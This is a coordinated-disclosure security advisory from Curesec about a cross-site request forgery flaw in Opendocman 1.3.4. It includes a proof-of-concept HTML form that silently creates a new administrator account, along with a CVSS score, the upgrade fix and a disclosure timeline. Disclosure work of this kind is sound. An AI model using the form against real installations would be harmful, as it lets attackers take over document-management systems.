Opendocman 1.3.4 Cross Site Request Forgery
Posted on 04 February 2016
Security Advisory - Curesec Research Team 1. Introduction Affected Product: Opendocman 1.3.4 Fixed in: 1.3.5 Fixed Version Link: http://www.opendocman.com/free-download/ Vendor Website: http://www.opendocman.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 11/21/2015 Disclosed to public: 02/01/2016 Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview CVSS Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P Description Opendocman does not have CSRF protection, which means that an attacker can perform actions for an admin, if the admin visits an attacker controlled website while logged in. 3. Proof of Concept Add new Admin User: <html> <body> <form action="http://localhost/opendocman-1.3.4/user.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="last_name" value="test" /> <input type="hidden" name="first_name" value="test" /> <input type="hidden" name="username" value="test" /> <input type="hidden" name="phonenumber" value="1214532" /> <input type="hidden" name="password" value="12345678" /> <input type="hidden" name="Email" value="test@example.com" /> <input type="hidden" name="department" value="1" /> <input type="hidden" name="admin" value="1" /> <input type="hidden" name="can_add" value="1" /> <input type="hidden" name="can_checkin" value="1" /> <input type="hidden" name="submit" value="Add User" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4. Solution To mitigate this issue please upgrade at least to version 1.3.5: http://www.opendocman.com/free-download/ Please note that a newer version might already be available. 5. Report Timeline 11/21/2015 Informed Vendor about Issue (no reply) 12/10/2015 Reminded Vendor of disclosure date 12/19/2015 Vendor sends fix for CSRF for verification 01/13/2016 Confirmed CSRF fix 01/20/2016 Vendor requests more time to fix other issues in same version 01/31/2016 Vendor releases fix 02/01/2015 Disclosed to public Blog Reference: https://blog.curesec.com/article/blog/Opendocman-134-CSRF-150.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany
